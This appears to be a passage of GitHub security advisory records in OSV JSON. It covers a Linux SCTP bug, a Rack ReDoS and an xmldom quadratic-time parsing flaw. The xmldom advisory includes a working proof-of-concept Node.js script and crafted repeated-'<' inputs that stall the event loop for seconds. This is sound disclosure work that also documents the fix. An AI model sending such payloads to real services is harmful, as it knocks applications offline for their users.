"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4ZQGHE3WTYLYAYJEIDJVF2FIGQTAYPMC"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4ZQGHE3WTYLYAYJEIDJVF2FIGQTAYPMC"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Aug/24"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/Sep/18"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190823-0005"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K46011592"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K46011592?utm_source=f5support\u0026amp%3Butm_medium=RSS"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K46011592?utm_source=f5support\u0026amp;utm_medium=RSS"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4520"
},
{
"type": "WEB",
"url": "https://www.synology.com/security/advisory/Synology_SA_19_33"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2925"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2939"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:2955"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:3892"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:4352"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0727"
},
{
"type": "WEB",
"url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md"
},
{
"type": "WEB",
"url": "https://kb.cert.org/vuls/id/605641"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10296"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/091b518265bce56a16af87b77c8cfacda902a02079e866f9fdf13b61%40%3Cusers.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/091b518265bce56a16af87b77c8cfacda902a02079e866f9fdf13b61@%3Cusers.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/2653c56545573b528f3f6352a29eccaf498bd6fb2a6a59568d81a61d%40%3Cannounce.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/2653c56545573b528f3f6352a29eccaf498bd6fb2a6a59568d81a61d@%3Cannounce.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe%40%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ff5b0821a6985159a832ff6d1a4bd311ac07ecc7db1e2d8bab619107%40%3Cdev.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/ff5b0821a6985159a832ff6d1a4bd311ac07ecc7db1e2d8bab619107@%3Cdev.trafficserver.apache.org%3E"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00031.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00032.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2019/Aug/16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-93P9-8FJ5-VJV2
Vulnerability from github – Published: 2022-05-13 01:24 – Updated: 2022-05-13 01:24The sctp_auth_asoc_get_hmac function in net/sctp/auth.c in the Linux kernel before 2.6.36 does not properly validate the hmac_ids array of an SCTP peer, which allows remote attackers to cause a denial of service (memory corruption and panic) via a crafted value in the last element of this array.
{
"affected": [],
"aliases": [
"CVE-2010-3705"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-11-26T20:00:00Z",
"severity": "HIGH"
},
"details": "The sctp_auth_asoc_get_hmac function in net/sctp/auth.c in the Linux kernel before 2.6.36 does not properly validate the hmac_ids array of an SCTP peer, which allows remote attackers to cause a denial of service (memory corruption and panic) via a crafted value in the last element of this array.",
"id": "GHSA-93p9-8fj5-vjv2",
"modified": "2022-05-13T01:24:12Z",
"published": "2022-05-13T01:24:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-3705"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2010:0842"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2010:0958"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2010-3705"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=640036"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git%3Ba=commit%3Bh=51e97a12bef19b7e43199fc153cf9bd5f2140362"
},
{
"type": "WEB",
"url": "http://git.kernel.org/?p=linux/kernel/git/davem/net-2.6.git;a=commit;h=51e97a12bef19b7e43199fc153cf9bd5f2140362"
},
{
"type": "WEB",
"url": "http://lists.fedoraproject.org/pipermail/package-announce/2010-December/052513.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=linux-kernel\u0026m=128596992418814\u0026w=2"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/42745"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2010/dsa-2126"
},
{
"type": "WEB",
"url": "http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.36"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2011:029"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2010/10/04/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2010/10/04/7"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2010-0842.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2010-0958.html"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-1000-1"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2010/3321"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-93PM-5P5F-3GHX
Vulnerability from github – Published: 2023-01-18 18:24 – Updated: 2023-10-23 19:18There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.
Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1 Impact
Carefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted. Releases
The fixed releases are available at the normal locations. Workarounds
There are no feasible workarounds for this issue. Patches
To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
2-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.0 series
2-1-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.1 series
2-2-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.2 series
3-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 3.0 series
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.9.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0.0"
},
{
"fixed": "3.0.4.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-44571"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2023-01-18T18:24:40Z",
"nvd_published_at": "2023-02-09T20:15:00Z",
"severity": "LOW"
},
"details": "There is a denial of service vulnerability in the Content-Disposition parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2022-44571.\n\nVersions Affected: \u003e= 2.0.0 Not affected: None. Fixed Versions: 2.0.9.2, 2.1.4.2, 2.2.6.1, 3.0.0.1\nImpact\n\nCarefully crafted input can cause Content-Disposition header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. This header is used typically used in multipart parsing. Any applications that parse multipart posts using Rack (virtually all Rails applications) are impacted.\nReleases\n\nThe fixed releases are available at the normal locations.\nWorkarounds\n\nThere are no feasible workarounds for this issue.\nPatches\n\nTo aid users who aren\u2019t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n 2-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.0 series\n 2-1-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.1 series\n 2-2-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 2.2 series\n 3-0-Fix-ReDoS-vulnerability-in-multipart-parser - Patch for 3.0 series\n",
"id": "GHSA-93pm-5p5f-3ghx",
"modified": "2023-10-23T19:18:08Z",
"published": "2023-01-18T18:24:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44571"
},
{
"type": "WEB",
"url": "https://discuss.rubyonrails.org/t/cve-2022-44571-possible-denial-of-service-vulnerability-in-rack-content-disposition-parsing/82126"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/releases/tag/v3.0.4.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2022-44571.yml"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5530"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Denial of Service Vulnerability in Rack Content-Disposition parsing"
}
GHSA-93R5-FHX6-VMG9
Vulnerability from github – Published: 2026-09-08 21:00 – Updated: 2026-09-08 21:00Summary
xmldom's malformed-input error-recovery path has two quadratic-time (O(n²)) behaviors that a
single crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls
the Node.js event loop for multiple seconds. It is reachable from DOMParser.parseFromString under
default options — i.e. from unauthenticated, network-delivered XML — making this an unauthenticated
denial of service. One of the two behaviors, the normalize() adjacent-text merge, is additionally
reachable programmatically — via a plain normalize() call on a DOM built with adjacent text nodes,
independent of the parser — so its fix must live in normalize(), not only in a parser bound.
Details
Finding A — parseElementStartPart quadratic re-scan
A < character is not a delimiter in any tag-parsing state, so parseElementStartPart scans
forward character-by-character over any embedded < until it reaches the next > (or end of
input), then validates the accumulated slice as a tag name and throws invalid tagName: on failure.
The main loop catches this, reports an error, sets end = -1, and recovers by advancing a single
character (appendText(Math.max(tagStart, start) + 1)). With a long run of < and a distant >,
each of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over
the growing candidate ⇒ O(n²).
Code (0.9.x, bb7a085dc5ba1eea3212388509b97bb4b4af32b9):
parseElementStartPartcharacter scan — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461- tag-name validation (
setTagName→ throwsinvalid tagName) — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891 - main-loop
catch→error+end = -1— https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242 - single-character recovery fallback — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247
Code (0.8.x, e5c14802592685bb872c042c54c3f73758875c85):
parseElementStartPart— https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227catch→error+end = -1— https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208- recovery fallback — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213
setTagNamevalidation — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621
Finding B — normalize() adjacent-text O(K²) merge
endDocument() calls document.normalize(). For a parent with K adjacent text nodes (produced by
the one-character recovery of Finding A), normalize() performs K−1 merges. Each merge does a
removeChild — which re-indexes all child nodes of the parent (O(K)) — and an appendData —
which rebuilds the accumulator string this.data + text (O(K)). Total: O(K²).
Well-formed XML cannot produce adjacent text-node siblings through the parser (each text run is one
node; comments, CDATA, PIs, and elements sit between runs), so the parse-path trigger for Finding B
is the malformed-input recovery that emits single-character text nodes. The same O(K²) merge is,
however, independently reachable via the public normalize() API on a programmatically built tree
(see "Finding B is additionally reachable programmatically" below).
Code (0.9.x, bb7a085dc5ba1eea3212388509b97bb4b4af32b9):
endDocument→normalize()— https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420normalize()adjacent-text merge — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356removeChildre-index-all branch — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798appendDatastring rebuild — https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790
Code (0.8.x, e5c14802592685bb872c042c54c3f73758875c85):
endDocument→normalize()— https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214normalize()merge — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549removeChildre-index-all branch — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773appendDatastring rebuild — https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533
Finding B is additionally reachable programmatically (no parser involved)
Node.prototype.normalize() is public API on every Document/Element. A tree built entirely through
the ordinary DOM API — new DOMImplementation().createDocument(...), then K× createTextNode +
appendChild on one parent — reaches the same O(K²) merge when the application calls normalize(),
with no parsing and no error-recovery. The parser is only one of the two callers of the
vulnerable merge:
- the parser's automatic
endDocument()→document.normalize()(the parse-path trigger above), and - any explicit application call to the public
normalize()on a tree with adjacent text nodes.
XMLSerializer does not call normalize(), so serializing an un-merged tree is O(total text), not
O(K²); the O(K²) surface is exactly those two normalize() callers. Consequently a parser-side bound
alone cannot remediate Finding B — the fix must live in normalize().
Affected Versions
Both findings are present across the full published @xmldom/xmldom history — both
currently-maintained versions (0.8.x and 0.9.x) are affected — and across the retired unscoped
xmldom line. Finding B's normalize() merge is additionally reachable programmatically: a
direct normalize() call on a DOM built with adjacent text nodes hits the same O(K²) merge,
independent of the parser — so, unlike Finding A, it does not require the malformed-input recovery
path.
Proof of Concept
Default DOMParser, no options. The input is trivially compressible (a< / a<> repeated) and
never throws — it is parsed via the recovery path.
const { DOMParser } = require('@xmldom/xmldom');
// Silence the expected `error`-level recovery reports (default handler logs
// them to console.error without throwing; only fatalError throws).
console.error = function () {};
function timeParse(label, xml, mime) {
const t0 = process.hrtime.bigint();
new DOMParser().parseFromString(xml, mime); // completes; no exception
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(label + ' bytes=' + Buffer.byteLength(xml) + ' time=' + ms.toFixed(1) + ' ms');
}
for (const N of [4000, 8000, 16000, 32000]) {
// Finding A: long re-scans, O(n^2) during parse.
timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
// Finding B: short re-scans (cheap parse) but K adjacent text nodes -> O(K^2) in normalize().
timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');
// Combined: ONE input hits both A and B under the default parser.
timeParse('C N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
}
Measured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the input ~quadruples the time — canonical O(n²)):
Finding A, isolated ("<r>" + "a<"×N + "</r>", normalize disabled to isolate the re-scan):
| N | input bytes | @xmldom/xmldom 0.9.10 |
0.8.13 |
|---|---|---|---|
| 2000 | 4007 | 43 ms | 37 ms |
| 4000 | 8007 | 129 ms | 106 ms |
| 8000 | 16007 | 434 ms | 424 ms |
| 16000 | 32007 | 1629 ms | 1611 ms |
Finding B, isolated ("<r>" + "a<>"×N + "</r>", time attributable to normalize()):
| K (N) | input bytes | 0.9.10 | 0.8.13 |
|---|---|---|---|
| 4000 | 12007 | 120 ms | 165 ms |
| 8000 | 24007 | 589 ms | 771 ms |
| 16000 | 48007 | 3142 ms | 4448 ms |
| 32000 | 96007 | 12127 ms | 12951 ms |
Combined (default parser, both findings; "<r>" + "a<"×N + "</r>"):
| N | input bytes | 0.9.10 | 0.8.13 |
|---|---|---|---|
| 4000 | 8007 | 341 ms | 397 ms |
| 8000 | 16007 | 1894 ms | 1641 ms |
| 16000 | 32007 | 4398 ms | 7661 ms |
~32 KB of input → several seconds of single-threaded event-loop stall.
Finding B via the public normalize() API (no parser)
const { DOMImplementation } = require('@xmldom/xmldom');
function timeNormalize(K) {
const doc = new DOMImplementation().createDocument(null, 'r', null);
const el = doc.documentElement;
for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x')); // K adjacent text nodes
const t0 = process.hrtime.bigint();
doc.normalize(); // O(K^2) merge — no parsing involved
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log('K=' + K + ' time=' + ms.toFixed(1) + ' ms');
}
for (const K of [2000, 4000, 8000, 16000, 32000]) timeNormalize(K);
Measured on Node v18.20.8 (doubling K ~quadruples the time — O(K²)):
| K | 0.9.10 | 0.8.13 |
|---|---|---|
| 2000 | 5.7 ms | 5.6 ms |
| 32000 | 1263 ms | 1704 ms |
This path is reachable by any application that builds a DOM from attacker-influenced data and calls
normalize(), entirely independent of DOMParser.
Impact
Availability only: a single parse of a small crafted document blocks the Node.js event loop for the
duration of the quadratic work (multiple seconds at tens of KB; larger inputs scale as O(n²)). No
memory blow-up beyond transient strings, no data exposure, no integrity impact. Because XML is
routinely accepted from untrusted sources and parsed with default options, one request can stall a
server. The payloads are highly compressible, so any endpoint accepting compressed XML faces
additional amplification. Finding B is additionally reachable via an explicit normalize() call on a
programmatically built DOM (see Proof of Concept), so applications that construct a document from attacker-influenced
data and normalize it are exposed even without parsing.
Severity note
The complexity is quadratic, not exponential, so a multi-second stall requires
tens-to-hundreds of KB of input. VA:H reflects that xmldom applies no input-size limit and the
path runs on default-options parsing, so a single unbounded parse can fully stall the event loop.
Fix Applied
Two independent, non-breaking fixes shipped together — each alone leaves the other's quadratic cost dominating the default parse.
Finding A — terminate the malformed tag-name scan at an embedded <, so error recovery is linear instead of O(n²). DOM output is unchanged; only the reported error-message text differs (error strings are not a semver contract).
Finding B — merge adjacent text nodes in normalize() in O(K) instead of O(K²), which also closes the same slowdown reachable programmatically through a direct normalize() call. Both ship on both maintained versions.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.14"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.7.0"
},
{
"fixed": "0.8.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.11"
},
"package": {
"ecosystem": "npm",
"name": "@xmldom/xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.0"
},
{
"fixed": "0.9.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "xmldom"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"last_affected": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-83614"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T21:00:41Z",
"nvd_published_at": "2026-09-01T15:17:39Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`xmldom`\u0027s malformed-input **error-recovery path** has two quadratic-time (O(n\u00b2)) behaviors that a\nsingle crafted input triggers together, so a tiny, highly compressible document (tens of KB) stalls\nthe Node.js event loop for multiple seconds. It is reachable from `DOMParser.parseFromString` under\n**default options** \u2014 i.e. from unauthenticated, network-delivered XML \u2014 making this an unauthenticated\ndenial of service. One of the two behaviors, the `normalize()` adjacent-text merge, is **additionally\nreachable programmatically** \u2014 via a plain `normalize()` call on a DOM built with adjacent text nodes,\nindependent of the parser \u2014 so its fix must live in `normalize()`, not only in a parser bound.\n\n## Details\n\n### Finding A \u2014 `parseElementStartPart` quadratic re-scan\n\nA `\u003c` character is not a delimiter in any tag-parsing state, so `parseElementStartPart` scans\nforward character-by-character over any embedded `\u003c` until it reaches the next `\u003e` (or end of\ninput), then validates the accumulated slice as a tag name and throws `invalid tagName:` on failure.\nThe main loop catches this, reports an `error`, sets `end = -1`, and recovers by advancing a single\ncharacter (`appendText(Math.max(tagStart, start) + 1)`). With a long run of `\u003c` and a distant `\u003e`,\neach of the O(n) recovery retries performs an O(n) scan plus an O(n) anchored regex validation over\nthe growing candidate \u21d2 **O(n\u00b2)**.\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `parseElementStartPart` character scan \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L263-L461\n- tag-name validation (`setTagName` \u2192 throws `invalid tagName`) \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L886-L891\n- main-loop `catch` \u2192 `error` + `end = -1` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L234-L242\n- single-character recovery fallback \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/sax.js#L247\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `parseElementStartPart` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L227\n- `catch` \u2192 `error` + `end = -1` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L202-L208\n- recovery fallback \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L213\n- `setTagName` validation \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/sax.js#L616-L621\n\n### Finding B \u2014 `normalize()` adjacent-text O(K\u00b2) merge\n\n`endDocument()` calls `document.normalize()`. For a parent with K adjacent text nodes (produced by\nthe one-character recovery of Finding A), `normalize()` performs K\u22121 merges. Each merge does a\n`removeChild` \u2014 which re-indexes **all** child nodes of the parent (O(K)) \u2014 and an `appendData` \u2014\nwhich rebuilds the accumulator string `this.data + text` (O(K)). Total: **O(K\u00b2)**.\n\nWell-formed XML cannot produce adjacent text-node siblings *through the parser* (each text run is one\nnode; comments, CDATA, PIs, and elements sit between runs), so the **parse-path** trigger for Finding B\nis the malformed-input recovery that emits single-character text nodes. The same O(K\u00b2) merge is,\nhowever, independently reachable via the public `normalize()` API on a programmatically built tree\n(see \"Finding B is additionally reachable programmatically\" below).\n\nCode (0.9.x, `bb7a085dc5ba1eea3212388509b97bb4b4af32b9`):\n\n- `endDocument` \u2192 `normalize()` \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom-parser.js#L418-L420\n- `normalize()` adjacent-text merge \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1336-L1356\n- `removeChild` re-index-all branch \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L1788-L1798\n- `appendData` string rebuild \u2014 https://github.com/xmldom/xmldom/blob/bb7a085dc5ba1eea3212388509b97bb4b4af32b9/lib/dom.js#L2786-L2790\n\nCode (0.8.x, `e5c14802592685bb872c042c54c3f73758875c85`):\n\n- `endDocument` \u2192 `normalize()` \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom-parser.js#L213-L214\n- `normalize()` merge \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L529-L549\n- `removeChild` re-index-all branch \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L756-L773\n- `appendData` string rebuild \u2014 https://github.com/xmldom/xmldom/blob/e5c14802592685bb872c042c54c3f73758875c85/lib/dom.js#L1533\n\n### Finding B is additionally reachable programmatically (no parser involved)\n\n`Node.prototype.normalize()` is public API on every `Document`/`Element`. A tree built entirely through\nthe ordinary DOM API \u2014 `new DOMImplementation().createDocument(...)`, then K\u00d7 `createTextNode` +\n`appendChild` on one parent \u2014 reaches the **same** O(K\u00b2) merge when the application calls `normalize()`,\nwith **no** parsing and **no** error-recovery. The parser is only *one* of the two callers of the\nvulnerable merge:\n\n- the parser\u0027s automatic `endDocument()` \u2192 `document.normalize()` (the parse-path trigger above), and\n- any explicit application call to the public `normalize()` on a tree with adjacent text nodes.\n\n`XMLSerializer` does **not** call `normalize()`, so serializing an un-merged tree is O(total text), not\nO(K\u00b2); the O(K\u00b2) surface is exactly those two `normalize()` callers. Consequently a parser-side bound\nalone cannot remediate Finding B \u2014 the fix must live in `normalize()`.\n\n## Affected Versions\n\nBoth findings are present across the full published `@xmldom/xmldom` history \u2014 both\ncurrently-maintained versions (`0.8.x` and `0.9.x`) are affected \u2014 and across the retired unscoped\n`xmldom` line. Finding B\u0027s `normalize()` merge is additionally reachable **programmatically**: a\ndirect `normalize()` call on a DOM built with adjacent text nodes hits the same O(K\u00b2) merge,\nindependent of the parser \u2014 so, unlike Finding A, it does not require the malformed-input recovery\npath.\n\n## Proof of Concept\n\nDefault `DOMParser`, no options. The input is trivially compressible (`a\u003c` / `a\u003c\u003e` repeated) and\nnever throws \u2014 it is parsed via the recovery path.\n\n```js\nconst { DOMParser } = require(\u0027@xmldom/xmldom\u0027);\n\n// Silence the expected `error`-level recovery reports (default handler logs\n// them to console.error without throwing; only fatalError throws).\nconsole.error = function () {};\n\nfunction timeParse(label, xml, mime) {\n const t0 = process.hrtime.bigint();\n new DOMParser().parseFromString(xml, mime); // completes; no exception\n const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n console.log(label + \u0027 bytes=\u0027 + Buffer.byteLength(xml) + \u0027 time=\u0027 + ms.toFixed(1) + \u0027 ms\u0027);\n}\n\nfor (const N of [4000, 8000, 16000, 32000]) {\n // Finding A: long re-scans, O(n^2) during parse.\n timeParse(\u0027A N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/xml\u0027);\n // Finding B: short re-scans (cheap parse) but K adjacent text nodes -\u003e O(K^2) in normalize().\n timeParse(\u0027B N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u003e\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/html\u0027);\n // Combined: ONE input hits both A and B under the default parser.\n timeParse(\u0027C N=\u0027 + N, \u0027\u003cr\u003e\u0027 + \u0027a\u003c\u0027.repeat(N) + \u0027\u003c/r\u003e\u0027, \u0027text/xml\u0027);\n}\n```\n\nMeasured on Node v18.20.8 (absolute ms vary by host; the load-bearing fact is that doubling the\ninput ~quadruples the time \u2014 canonical O(n\u00b2)):\n\nFinding A, isolated (`\"\u003cr\u003e\" + \"a\u003c\"\u00d7N + \"\u003c/r\u003e\"`, normalize disabled to isolate the re-scan):\n\n| N | input bytes | `@xmldom/xmldom` 0.9.10 | 0.8.13 |\n|--:|--:|--:|--:|\n| 2000 | 4007 | 43 ms | 37 ms |\n| 4000 | 8007 | 129 ms | 106 ms |\n| 8000 | 16007 | 434 ms | 424 ms |\n| 16000 | 32007 | 1629 ms | 1611 ms |\n\nFinding B, isolated (`\"\u003cr\u003e\" 